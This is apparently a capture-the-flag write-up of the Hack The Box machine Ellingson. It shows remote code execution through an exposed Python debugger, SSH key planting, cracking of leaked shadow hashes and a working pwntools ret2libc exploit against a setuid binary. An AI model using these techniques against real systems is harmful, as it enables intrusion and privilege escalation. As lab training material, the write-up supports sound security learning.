Hack The Box - Ellingson

Quick Summary

Hey guys, today Ellingson retired and here’s my write-up about it. It was a fun box with a very nice binary exploitation privesc, I found the way of getting RCE on this box (which was by abusing the debugger of a python server that was running on the box) very interesting. It’s a Linux box and its ip is 10.10.10.139 , I added it to /etc/hosts as ellingson.htb . Let’s jump right in !



Nmap

As always we will start with nmap to scan for open ports and services:

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

root@kali:~/Desktop/HTB/boxes/ellingson# nmap -sV -sT -sC -o nmapinitial ellingson.htb

Starting Nmap 7.70 ( https://nmap.org ) at 2019-10-18 14:11 EET

Nmap scan report for ellingson.htb (10.10.10.139)

Host is up (0.13s latency).

Not shown: 998 filtered ports

PORT STATE SERVICE VERSION

22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)

| ssh-hostkey:

| 2048 49:e8:f1:2a:80:62:de:7e:02:40:a1:f4:30:d2:88:a6 (RSA)

| 256 c8:02:cf:a0:f2:d8:5d:4f:7d:c7:66:0b:4d:5d:0b:df (ECDSA)

|_ 256 a5:a9:95:f5:4a:f4:ae:f8:b6:37:92:b8:9a:2a:b4:66 (ED25519)

80/tcp open http nginx 1.14.0 (Ubuntu)

|_http-server-header: nginx/1.14.0 (Ubuntu)

| http-title: Ellingson Mineral Corp

|_Requested resource was http://ellingson.htb/index

Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel



Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .

Nmap done: 1 IP address (1 host up) scanned in 26.79 seconds



We got http on port 80 and ssh on port 22.

Web Enumeration

Let’s take a look at the index page:

http://ellingson.htb :





The only interesting thing was these articles at the top of the page:



The first one was talking about a virus that was planted in their mainframe:



The second one was talking about a brute-force protection that was recently added which tells us not to attempt to bruteforce anything or we’ll get banned:



The third one was advising users to change their passwords because of some suspicious network activity that was detected, telling them that the most common passwords are Love, Secret, Sex and God:



So far the only interesting thing we have is the 4 common passwords.

The articles path followed this pattern: /articles/n ( n is the article number) so I thought of trying different numbers to see if there’s a hidden article or something like that. When I tried 4 I got an error because that article doesn’t exist, I expected a 404 error but I got this debugger:



By hovering over one of the lines a small console icon appears, its description says that it open an interactive python shell:



RCE –> SSH as hal

With popen() from os we can execute commands and read the output like this:

1

2

print (os.popen( 'whoami' ).read())

hal



We are executing commands as hal who doesn’t have the user flag:

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

print (os.popen( 'pwd' ).read())

/



print (os.popen( 'ls -la /home' ).read())

total 24

drwxr-xr-x 6 root root 4096 Mar 9 2019 .

drwxr-xr-x 23 root root 4096 Mar 9 2019 ..

drwxrwx--- 3 duke duke 4096 Mar 10 2019 duke

drwxrwx--- 5 hal hal 4096 May 7 13 : 12 hal

drwxrwx--- 6 margo margo 4096 Oct 18 11 : 01 margo

drwxrwx--- 4 theplague theplague 4096 May 7 13 : 13 theplague



print (os.popen( 'ls -la /home/hal' ).read())

total 36

drwxrwx--- 5 hal hal 4096 May 7 13 : 12 .

drwxr-xr-x 6 root root 4096 Mar 9 2019 ..

-rw-r--r-- 1 hal hal 220 Mar 9 2019 .bash_logout

-rw-r--r-- 1 hal hal 3771 Mar 9 2019 .bashrc

drwx------ 2 hal hal 4096 Mar 10 2019 .cache

drwx------ 3 hal hal 4096 Mar 10 2019 .gnupg

-rw-r--r-- 1 hal hal 807 Mar 9 2019 .profile

drwx------ 2 hal hal 4096 Oct 18 08 : 28 .ssh

-rw------- 1 hal hal 865 Mar 9 2019 .viminfo



So we will need to be another user, however we need to get a shell first. We can simply echo our public key to /home/hal/.ssh/auhtorized_keys and get ssh as hal:

1

print (os.popen( 'echo \"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDGEUzu7cGthWtPNXM5/rAvPBywgyh68AEpSyUBXm24kByXu+GhEmvAiVlkAhasBgTjiCbpup3dmzz54ADlo4T2jUWoVVEDOw82eKQ6EoqpYnHGVmpDmJ1n7+eCvb3ut0bl5VOnTkhYSWS8G9V6V+E/VmDun63HoHCHzvtBlbN/ZmhRKxdwNFSYN/NswU8MFK+MVXxa/FJUxrOJVAnefXQdfDBxIt4j/qqMr68u9lQfqOX5shmS0M55lFNAY2mR6INBQtT6AnAWremPCHdUHxU3eSvzUcItaamecSPTfDgMQDQkxXrrsKQLkJeCKZ/1EwDBXIF3RGCeNGq0hCYHSF8d root@kali\" > /home/hal/.ssh/authorized_keys' ).read())



1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

root@kali:~/Desktop/HTB/boxes/ellingson# ssh -i ./id_rsa hal@ellingson.htb

Welcome to Ubuntu 18.04.1 LTS (GNU/Linux 4.15.0-46-generic x86_64)



* Documentation: https://help.ubuntu.com

* Management: https://landscape.canonical.com

* Support: https://ubuntu.com/advantage



System information as of Fri Oct 18 12:30:03 UTC 2019



System load: 0.0 Processes: 105

Usage of /: 23.8% of 19.56GB Users logged in: 1

Memory usage: 18% IP address for ens33: 10.10.10.139

Swap usage: 0%



=> There is 1 zombie process.





* Canonical Livepatch is available for installation.

- Reduce system reboots and improve kernel security. Activate at:

https://ubuntu.com/livepatch



163 packages can be updated.

80 updates are security updates.



Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings





Last login: Fri Oct 18 09:08:47 2019 from 10.10.15.92

hal@ellingson:~$ whoami

hal

hal@ellingson:~$



shadow.bak –> SSH as margo

There are 4 users on the box: duke , hal , margo and theplague :

1

2

3

4

5

6

7

8

9

hal@ellingson:/home$ ls -al

total 24

drwxr-xr-x 6 root root 4096 Mar 9 2019 .

drwxr-xr-x 23 root root 4096 Mar 9 2019 ..

drwxrwx--- 3 duke duke 4096 Mar 10 2019 duke

drwxrwx--- 5 hal hal 4096 May 7 13:12 hal

drwxrwx--- 6 margo margo 4096 Oct 18 11:01 margo

drwxrwx--- 4 theplague theplague 4096 May 7 13:13 theplague

hal@ellingson:/home$



One of the places I always like to check when trying to escalate privileges is /var/backups . On this box there was a backup for /etc/shadow there:

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

hal@ellingson:/var/backups$ ls -la

total 708

drwxr-xr-x 2 root root 4096 May 7 13:14 .

drwxr-xr-x 14 root root 4096 Mar 9 2019 ..

-rw-r--r-- 1 root root 61440 Mar 10 2019 alternatives.tar.0

-rw-r--r-- 1 root root 8255 Mar 9 2019 apt.extended_states.0

-rw-r--r-- 1 root root 437 Jul 25 2018 dpkg.diversions.0

-rw-r--r-- 1 root root 295 Mar 9 2019 dpkg.statoverride.0

-rw-r--r-- 1 root root 615441 Mar 9 2019 dpkg.status.0

-rw------- 1 root root 811 Mar 9 2019 group.bak

-rw------- 1 root shadow 678 Mar 9 2019 gshadow.bak

-rw------- 1 root root 1757 Mar 9 2019 passwd.bak

-rw-r----- 1 root adm 1309 Mar 9 2019 shadow.bak

hal@ellingson:/var/backups$ cat shadow.bak

root:*:17737:0:99999:7:::

daemon:*:17737:0:99999:7:::

bin:*:17737:0:99999:7:::

sys:*:17737:0:99999:7:::

sync:*:17737:0:99999:7:::

games:*:17737:0:99999:7:::

man:*:17737:0:99999:7:::

lp:*:17737:0:99999:7:::

mail:*:17737:0:99999:7:::

news:*:17737:0:99999:7:::

uucp:*:17737:0:99999:7:::

proxy:*:17737:0:99999:7:::

www-data:*:17737:0:99999:7:::

backup:*:17737:0:99999:7:::

list:*:17737:0:99999:7:::

irc:*:17737:0:99999:7:::

gnats:*:17737:0:99999:7:::

nobody:*:17737:0:99999:7:::

systemd-network:*:17737:0:99999:7:::

systemd-resolve:*:17737:0:99999:7:::

syslog:*:17737:0:99999:7:::

messagebus:*:17737:0:99999:7:::

_apt:*:17737:0:99999:7:::

lxd:*:17737:0:99999:7:::

uuidd:*:17737:0:99999:7:::

dnsmasq:*:17737:0:99999:7:::

landscape:*:17737:0:99999:7:::

pollinate:*:17737:0:99999:7:::

sshd:*:17737:0:99999:7:::

theplague:$6$.5ef7Dajxto8Lz3u$Si5BDZZ81UxRCWEJbbQH9mBCdnuptj/aG6mqeu9UfeeSY7Ot9gp2wbQLTAJaahnlTrxN613L6Vner4tO1W.ot/:17964:0:99999:7:::

hal:$6$UYTy.cHj$qGyl.fQ1PlXPllI4rbx6KM.lW6b3CJ.k32JxviVqCC2AJPpmybhsA8zPRf0/i92BTpOKtrWcqsFAcdSxEkee30:17964:0:99999:7:::

margo:$6$Lv8rcvK8$la/ms1mYal7QDxbXUYiD7LAADl.yE4H7mUGF6eTlYaZ2DVPi9z1bDIzqGZFwWrPkRrB9G/kbd72poeAnyJL4c1:17964:0:99999:7:::

duke:$6$bFjry0BT$OtPFpMfL/KuUZOafZalqHINNX/acVeIDiXXCPo9dPi1YHOp9AAAAnFTfEh.2AheGIvXMGMnEFl5DlTAbIzwYc/:17964:0:99999:7:::

hal@ellingson:/var/backups$



First time I solved the box I created a list with all password combinations from rockyou that had the words “love, secret, sex and god” (most common passwords we saw earlier) and tried to crack the 3 hashes with it. I could get margo ‘s password which had “god” in it.

1

2

3

4

5

6

7

8

9

10

11

root@kali:~/Desktop/HTB/boxes/ellingson# echo 'margo:$6$Lv8rcvK8$la/ms1mYal7QDxbXUYiD7LAADl.yE4H7mUGF6eTlYaZ2DVPi9z1bDIzqGZFwWrPkRrB9G/kbd72poeAnyJL4c1:17964:0:99999:7:::' > margo.hash

root@kali:~/Desktop/HTB/boxes/ellingson# grep -i god /usr/share/wordlists/rockyou.txt > list.txt

root@kali:~/Desktop/HTB/boxes/ellingson# john --wordlist=./list.txt margo.hash

Using default input encoding: UTF-8

Loaded 1 password hash (sha512crypt, crypt(3) $6$ [SHA512 128/128 AVX 2x])

Cost 1 (iteration count) is 5000 for all loaded hashes

Press 'q' or Ctrl-C to abort, almost any other key for status

iamgod$08 (margo)

1g 0:00:00:08 DONE (2019-10-18 14:58) 0.1234g/s 829.6p/s 829.6c/s 829.6C/s iamgod22..hydrogod20

Use the "--show" option to display all of the cracked passwords reliably

Session completed



Now we can simply ssh into the box as margo : iamgod$08 :



We owned user.

Binary: Analysis

I searched for suid binaries and found a strange binary called garbage :

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

margo@ellingson:~$ find / -perm -4000 2>/dev/null

/usr/bin/at

/usr/bin/newgrp

/usr/bin/pkexec

/usr/bin/passwd

/usr/bin/gpasswd

/usr/bin/garbage

/usr/bin/newuidmap

/usr/bin/sudo

/usr/bin/traceroute6.iputils

/usr/bin/chfn

/usr/bin/newgidmap

/usr/bin/chsh

/usr/lib/policykit-1/polkit-agent-helper-1

/usr/lib/dbus-1.0/dbus-daemon-launch-helper

/usr/lib/openssh/ssh-keysign

/usr/lib/eject/dmcrypt-get-device

/usr/lib/snapd/snap-confine

/usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic

/bin/su

/bin/umount

/bin/ntfs-3g

/bin/ping

/bin/mount

/bin/fusermount

---



When executed it asks for a password, providing a long password crashes it:

1

2

3

4

5

6

7

8

9

10

margo@ellingson:~$ /usr/bin/garbage

Enter access password: test



access denied.

margo@ellingson:~$ /usr/bin/garbage

Enter access password: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA



access denied.

Segmentation fault (core dumped)

margo@ellingson:~$



So we have a buffer overflow, I downloaded the binary on my machine:

1

2

3

4

root@kali:~/Desktop/HTB/boxes/ellingson# scp margo@ellingson.htb:/usr/bin/garbage ./

margo@ellingson.htb's password:

garbage 100% 18KB 60.4KB/s 00:00

root@kali:~/Desktop/HTB/boxes/ellingson#



checksec shows that NX (non-executable stack) is enabled so we will do a ret2libc attack:

1

2

3

4

5

6

7

8

9

10

root@kali:~/Desktop/HTB/boxes/ellingson

garbage: setuid ELF 64 - bit LSB executable, x86 -64 , version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86 -64. so .2 , for GNU/Linux 3.2 .0 , BuildID[sha1]=de1fde9d14eea8a6dfd050fffe52bba92a339959, not

stripped

root@kali:~/Desktop/HTB/boxes/ellingson# checksec ./garbage

[*] '/root/Desktop/HTB/boxes/ellingson/garbage'

Arch: amd64 -64 -little

RELRO: Partial RELRO

Stack: No canary found

NX: NX enabled

PIE: No PIE



ASLR is enabled so will need to get around that:

1

2

margo@ellingson:~$ cat /proc/sys/kernel/randomize_va_space

2



I downloaded libc from the box:

1

2

3

4

5

margo@ellingson:~$ ldd /usr/bin/garbage

linux-vdso.so.1 (0x00007ffd0a7f0000)

libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f55ded1e000)

/lib64/ld-linux-x86-64.so.2 (0x00007f55df10f000)

margo@ellingson:~$



1

2

3

4

root@kali:~/Desktop/HTB/boxes/ellingson# scp margo@ellingson.htb:/lib/x86_64-linux-gnu/libc.so.6 ./

margo@ellingson.htb's password:

libc.so.6 100% 1983KB 263.6KB/s 00:07

root@kali:~/Desktop/HTB/boxes/ellingson#



Binary: Exploitation

To defeat ASLR our first rop chain will leak __libc_start_main by calling puts() with __libc_start_main@plt address as an argument. Then by subtracting __libc_start_main@@GLIBC address from the leaked address we will get the base address of libc .

After leaking libc ‘s address we can easily calculate the addresses we need and do our second chain which will perform the ret2libc attack.

First we need to find the offset, I used a pattern to do it (I’m using gef):

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

56

57

58

59

60

61

62

63

gef➤ pattern create

[+] Generating a pattern of 1024 bytes



aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaaaaaanaaaaaaaoaaaaaaapaaaaaaaqaaaaaaaraaaaaaasaaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaazaaaaaabbaa

aaaabcaaaaaabdaaaaaabeaaaaaabfaaaaaabgaaaaaabhaaaaaabiaaaaaabjaaaaaabkaaaaaablaaaaaabmaaaaaabnaaaaaaboaaaaaabpaaaaaabqaaaaaabraaaaaabsaaaaaabtaaaaaabuaaaaaabvaaaaaabwaaaaaabxaaaaaabyaaaaaabzaaaaaacbaaaaaaccaaaaa

acdaaaaaaceaaaaaacfaaaaaacgaaaaaachaaaaaaciaaaaaacjaaaaaackaaaaaaclaaaaaacmaaaaaacnaaaaaacoaaaaaacpaaaaaacqaaaaaacraaaaaacsaaaaaactaaaaaacuaaaaaacvaaaaaacwaaaaaacxaaaaaacyaaaaaaczaaaaaadbaaaaaadcaaaaaaddaaaaaade

aaaaaadfaaaaaadgaaaaaadhaaaaaadiaaaaaadjaaaaaadkaaaaaadlaaaaaadmaaaaaadnaaaaaadoaaaaaadpaaaaaadqaaaaaadraaaaaadsaaaaaadtaaaaaaduaaaaaadvaaaaaadwaaaaaadxaaaaaadyaaaaaadzaaaaaaebaaaaaaecaaaaaaedaaaaaaeeaaaaaaefaaa

aaaegaaaaaaehaaaaaaeiaaaaaaejaaaaaaekaaaaaaelaaaaaaemaaaaaaenaaaaaaeoaaaaaaepaaaaaaeqaaaaaaeraaaaaaesaaaaaaetaaaaaaeuaaaaaaevaaaaaaewaaaaaaexaaaaaaeyaaaaaaezaaaaaafbaaaaaafcaaaaaaf

[+] Saved as '$_gef0'

gef➤ r

Starting program: /root/Desktop/HTB/boxes/ellingson/garbage



Enter access password: aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaaaaaanaaaaaaaoaaaaaaapaaaaaaaqaaaaaaaraaaaaaasaaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaazaaaaaabbaaaaaabcaaaaaabdaaaaaabeaaaaaabfaaaaaabgaaaaaabhaaaaaabiaaaaaabjaaaaaabkaaaaaablaaaaaabmaaaaaabnaaaaaaboaaaaaabpaaaaaabqaaaaaabraaaaaabsaaaaaabtaaaaaabuaaaaaabvaaaaaabwaaaaaabxaaaaaabyaaaaaabzaaaaaacbaaaaaaccaaaaaacdaaaaaaceaaaaaacfaaaaaacgaaaaaachaaaaaaciaaaaaacjaaaaaackaaaaaaclaaaaaacmaaaaaacnaaaaaacoaaaaaacpaaaaaacqaaaaaacraaaaaacsaaaaaactaaaaaacuaaaaaacvaaaaaacwaaaaaacxaaaaaacyaaaaaaczaaaaaadbaaaaaadcaaaaaaddaaaaaadeaaaaaadfaaaaaadgaaaaaadhaaaaaadiaaaaaadjaaaaaadkaaaaaadlaaaaaadmaaaaaadnaaaaaadoaaaaaadpaaaaaadqaaaaaadraaaaaadsaaaaaadtaaaaaaduaaaaaadvaaaaaadwaaaaaadxaaaaaadyaaaaaadzaaaaaaebaaaaaaecaaaaaaedaaaaaaeeaaaaaaefaaaaaaegaaaaaaehaaaaaaeiaaaaaaejaaaaaaekaaaaaaelaaaaaaemaaaaaaenaaaaaaeoaaaaaaepaaaaaaeqaaaaaaeraaaaaaesaaaaaaetaaaaaaeuaaaaaaevaaaaaaewaaaaaaexaaaaaaeyaaaaaaezaaaaaafbaaaaaafcaaaaaaf



access denied.



Program received signal SIGSEGV, Segmentation fault.

0x0000000000401618 in auth ()

[ Legend: Modified register | Code | Heap | Stack | String ]

──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────

$rax : 0x0

$rbx : 0x0

$rcx : 0x00007f472f47a504 → 0x5477fffff0003d48 ( "H=" ?)

$rdx : 0x00007f472f54d8c0 → 0x0000000000000000

$rsp : 0x00007ffcc590c3e8 → "raaaaaaasaaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxa[...]"

$rbp : 0x6161616161616171 ( "qaaaaaaa" ?)

$rsi : 0x000000000077c9c0 → "access denied.

ssword:"

$rdi : 0x0

$rip : 0x0000000000401618 → <auth+ 261 > ret

$r8 : 0x00007f472f552500 → 0x00007f472f552500 → [loop detected]

$r9 : 0x00007f472f54c848 → 0x00007f472f54c760 → 0x00000000fbad2a84

$r10 : 0xfffffffffffff638

$r11 : 0x246

$r12 : 0x0000000000401170 → <_start+ 0 > xor ebp, ebp

$r13 : 0x00007ffcc590c4e0 → "xaaaaaabyaaaaaabzaaaaaacbaaaaaaccaaaaaacdaaaaaacea[...]"

$r14 : 0x0

$r15 : 0x0

$eflags: [ZERO carry PARITY adjust sign trap INTERRUPT direction overflow RESUME virtualx86 identification]

$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000

──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────

0x00007ffcc590c3e8 │+ 0x0000 : "raaaaaaasaaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxa[...]" ← $rsp

0x00007ffcc590c3f0 │+ 0x0008 : "saaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxaaaaaaaya[...]"

0x00007ffcc590c3f8 │+ 0x0010 : "taaaaaaauaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaaza[...]"

0x00007ffcc590c400 │+ 0x0018 : "uaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaazaaaaaabba[...]"

0x00007ffcc590c408 │+ 0x0020 : "vaaaaaaawaaaaaaaxaaaaaaayaaaaaaazaaaaaabbaaaaaabca[...]"

0x00007ffcc590c410 │+ 0x0028 : "waaaaaaaxaaaaaaayaaaaaaazaaaaaabbaaaaaabcaaaaaabda[...]"

0x00007ffcc590c418 │+ 0x0030 : "xaaaaaaayaaaaaaazaaaaaabbaaaaaabcaaaaaabdaaaaaabea[...]"

0x00007ffcc590c420 │+ 0x0038 : "yaaaaaaazaaaaaabbaaaaaabcaaaaaabdaaaaaabeaaaaaabfa[...]"

────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86: 64 ────

0x40160d <auth+ 250 > call 0x401050 < puts @plt>

0x401612 <auth+ 255 > mov eax, 0x0

0x401617 <auth+ 260 > leave

→ 0x401618 <auth+ 261 > ret

[!] Cannot disassemble from $PC

────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────

[# 0 ] Id 1 , Name: "garbage" , stopped, reason: SIGSEGV

──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────

[# 0 ] 0x401618 → auth()

───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────

gef➤ pattern offset raaaaaaasaaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxa

[+] Searching 'raaaaaaasaaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxa'

[+] Found at offset 136 (big-endian search)

gef➤



Offset is 136 bytes, let’s start writing the exploit (I’m using pwntools).

First thing to do is to set-up the connection to the box and start the remote process, we have ssh access so we can use that:

1

2

r = ssh(host= 'ellingson.htb' , user= 'margo' , password= 'iamgod$08' )

p = r.process( '/usr/bin/garbage' )



Then we need to load the binary file and libc in the exploit:

1

2

elf = ELF( "./garbage" )

libc = ELF( "./libc.so.6" )



We can use the ROP() function to load the rop gadgets from the binary:

1

rop = ROP(elf)



exploit.py :

1

2

3

4

5

6

7

8

9



from pwn import *



r = ssh(host= 'ellingson.htb' , user= 'margo' , password= 'iamgod$08' )

p = r.process( '/usr/bin/garbage' )



elf = ELF( "./garbage" )

libc = ELF( "./libc.so.6" )

rop = ROP(elf)



Exploitation: Leaking libc base address

I created a function called leak() that takes 4 arguments (the process, the loaded binary file, libc and the rop gadgets):

1

def leak (p,elf,libc,rop) :



This function will perform the 1st rop chain, it will send 136 bytes to reach rip and overwrite it with a pop rdi, ret gadget, then it will send __libc_start_main@plt ‘s address (will be placed in rdi ) and call puts() which will take its argument from rdi and print the address of __libc_start_main . Finally it will call main() again to prevent execution from breaking (if the execution breaks the leaked address will be of no use because it won’t be the same when we execute the program again).

We need the addresses of pop rdi, ret gadget, __libc_start_main@plt from the binary, puts()@plt from the binary, main() from the binary, to get them:

1

2

3

4

POP_RDI = (rop.find_gadget([ 'pop rdi' , 'ret' ]))[ 0 ]

LIBC_START_MAIN = elf.symbols[ '__libc_start_main' ]

PUTS = elf.plt[ 'puts' ]

MAIN = elf.symbols[ 'main' ]



Now we can simply construct the payload:

1

2

3

4

5

payload = "A" * 136

payload += p64(POP_RDI)

payload += p64(LIBC_START_MAIN)

payload += p64(PUTS)

payload += p64(MAIN)



Finally we will send the payload and receive the leaked address:

1

2

3

4

5

6

7

8

9

p.recvuntil( 'password:' )

p.sendline(payload)

p.recvline()

p.recvline()

leak = p.recvline().strip()

leak = u64(leak.ljust( 8 , "\x00" ))



log.success( "Leaked __libc_start_main: " + hex(leak))

return leak



Let’s test it:

exploit.py :

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37



from pwn import *



def leak (p,elf,libc,rop) :

POP_RDI = (rop.find_gadget([ 'pop rdi' , 'ret' ]))[ 0 ]

LIBC_START_MAIN = elf.symbols[ '__libc_start_main' ]

PUTS = elf.plt[ 'puts' ]

MAIN = elf.symbols[ 'main' ]



log.info( "puts@plt: " + hex(PUTS))

log.info( "__libc_start_main: " + hex(LIBC_START_MAIN))

log.info( "pop rdi gadget: " + hex(POP_RDI))



payload = "A" * 136

payload += p64(POP_RDI)

payload += p64(LIBC_START_MAIN)

payload += p64(PUTS)

payload += p64(MAIN)



p.recvuntil( 'password:' )

p.sendline(payload)

p.recvline()

p.recvline()

leak = p.recvline().strip()

leak = u64(leak.ljust( 8 , "\x00" ))



log.success( "Leaked __libc_start_main: " + hex(leak))

return leak



r = ssh(host= 'ellingson.htb' , user= 'margo' , password= 'iamgod$08' )

p = r.process( '/usr/bin/garbage' )



elf = ELF( "./garbage" )

libc = ELF( "./libc.so.6" )

rop = ROP(elf)



leak = leak(p,elf,libc,rop)



1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

root@kali:~/Desktop/HTB/boxes/ellingson/exploit# ./exploit.py

[+] Connecting to ellingson.htb on port 22 : Done

[*] margo@ellingson.htb:

Distro Ubuntu 18.04

OS: linux

Arch: amd64

Version: 4.15 .0

ASLR: Enabled

[+] Starting remote process '/usr/bin/garbage' on ellingson.htb: pid 7730

[*] '/root/Desktop/HTB/boxes/ellingson/exploit/garbage'

Arch: amd64 -64 -little

RELRO: Partial RELRO

Stack: No canary found

NX: NX enabled

PIE: No PIE ( 0x400000 )

[*] '/root/Desktop/HTB/boxes/ellingson/exploit/libc.so.6'

Arch: amd64 -64 -little

RELRO: Partial RELRO

Stack: Canary found

NX: NX enabled

PIE: PIE enabled

[*] Loaded cached gadgets for './garbage'

[*] puts @plt: 0x401050

[*] __libc_start_main: 0x403ff0

[*] pop rdi gadget: 0x40179b

[+] Leaked __libc_start_main: 0x7f3dbe66fab0



It’s working fine, to calculate the address of libc we will simply subtract libc.sym["__libc_start_main"] from the leaked address:

1

2

3

libc.address = leak - libc.sym[ "__libc_start_main" ]



log.info( "Calculated libc address: " + hex(libc.address))



1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

root@kali:~/Desktop/HTB/boxes/ellingson/exploit# ./exploit.py

[+] Connecting to ellingson.htb on port 22 : Done

[*] margo@ellingson.htb:

Distro Ubuntu 18.04

OS: linux

Arch: amd64

Version: 4.15 .0

ASLR: Enabled

[+] Starting remote process '/usr/bin/garbage' on ellingson.htb: pid 7858

[*] '/root/Desktop/HTB/boxes/ellingson/exploit/garbage'

Arch: amd64 -64 -little

RELRO: Partial RELRO

Stack: No canary found

NX: NX enabled

PIE: No PIE ( 0x400000 )

[*] '/root/Desktop/HTB/boxes/ellingson/exploit/libc.so.6'

Arch: amd64 -64 -little

RELRO: Partial RELRO

Stack: Canary found

NX: NX enabled

PIE: PIE enabled

[*] Loaded cached gadgets for './garbage'

[*] puts @plt: 0x401050

[*] __libc_start_main: 0x403ff0

[*] pop rdi gadget: 0x40179b

[+] Leaked __libc_start_main: 0x7f56b2056ab0

[*] Calculated libc address: 0x7f56b2035000



Exploitation: ret2libc

Similar to the function leak() I created another function called shell() that takes the same arguments as leak() :

1

def shell (p,elf,libc,rop) :



This function will simply call the pop rdi,ret gadget and place "/bin/sh" in rdi then call system() which will take its argument from rdi and execute a shell.

We need the addresses of ret gadget, pop rdi, ret gadget, "/bin/sh" string from libc , system() from libc , to get them:

1

2

3

4

RET = rop.find_gadget([ 'ret' ])[ 0 ]

POP_RDI = (rop.find_gadget([ 'pop rdi' , 'ret' ]))[ 0 ]

BIN_SH = next(libc.search( "/bin/sh" ))

SYSTEM = libc.sym[ "system" ]



Then we will construct the payload:

1

2

3

4

5

payload = "A" * 136

payload += p64(RET)

payload += p64(POP_RDI)

payload += p64(BIN_SH)

payload += p64(SYSTEM)



And finally we will send the payload and switch into interactive mode:

1

2

3

p.recvuntil( 'password:' )

p.sendline(payload)

p.interactive()



Let’s test it:

exploit.py :

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

56

57

58

59

60

61



from pwn import *



def leak (p,elf,libc,rop) :

POP_RDI = (rop.find_gadget([ 'pop rdi' , 'ret' ]))[ 0 ]

LIBC_START_MAIN = elf.symbols[ '__libc_start_main' ]

PUTS = elf.plt[ 'puts' ]

MAIN = elf.symbols[ 'main' ]



log.info( "puts@plt: " + hex(PUTS))

log.info( "__libc_start_main: " + hex(LIBC_START_MAIN))

log.info( "pop rdi gadget: " + hex(POP_RDI))



payload = "A" * 136

payload += p64(POP_RDI)

payload += p64(LIBC_START_MAIN)

payload += p64(PUTS)

payload += p64(MAIN)



p.recvuntil( 'password:' )

p.sendline(payload)

p.recvline()

p.recvline()

leak = p.recvline().strip()

leak = u64(leak.ljust( 8 , "\x00" ))



log.success( "Leaked __libc_start_main: " + hex(leak))

return leak



def shell (p,elf,libc,rop) :

RET = rop.find_gadget([ 'ret' ])[ 0 ]

POP_RDI = (rop.find_gadget([ 'pop rdi' , 'ret' ]))[ 0 ]

BIN_SH = next(libc.search( "/bin/sh" ))

SYSTEM = libc.sym[ "system" ]



log.success( "/bin/sh: " + hex(BIN_SH))

log.success( "system: " + hex(SYSTEM))



payload = "A" * 136

payload += p64(RET)

payload += p64(POP_RDI)

payload += p64(BIN_SH)

payload += p64(SYSTEM)



p.recvuntil( 'password:' )

p.sendline(payload)

p.interactive()



r = ssh(host= 'ellingson.htb' , user= 'margo' , password= 'iamgod$08' )

p = r.process( '/usr/bin/garbage' )



elf = ELF( "./garbage" )

libc = ELF( "./libc.so.6" )

rop = ROP(elf)



leak = leak(p,elf,libc,rop)

libc.address = leak - libc.sym[ "__libc_start_main" ]



log.info( "Calculated libc address: " + hex(libc.address))



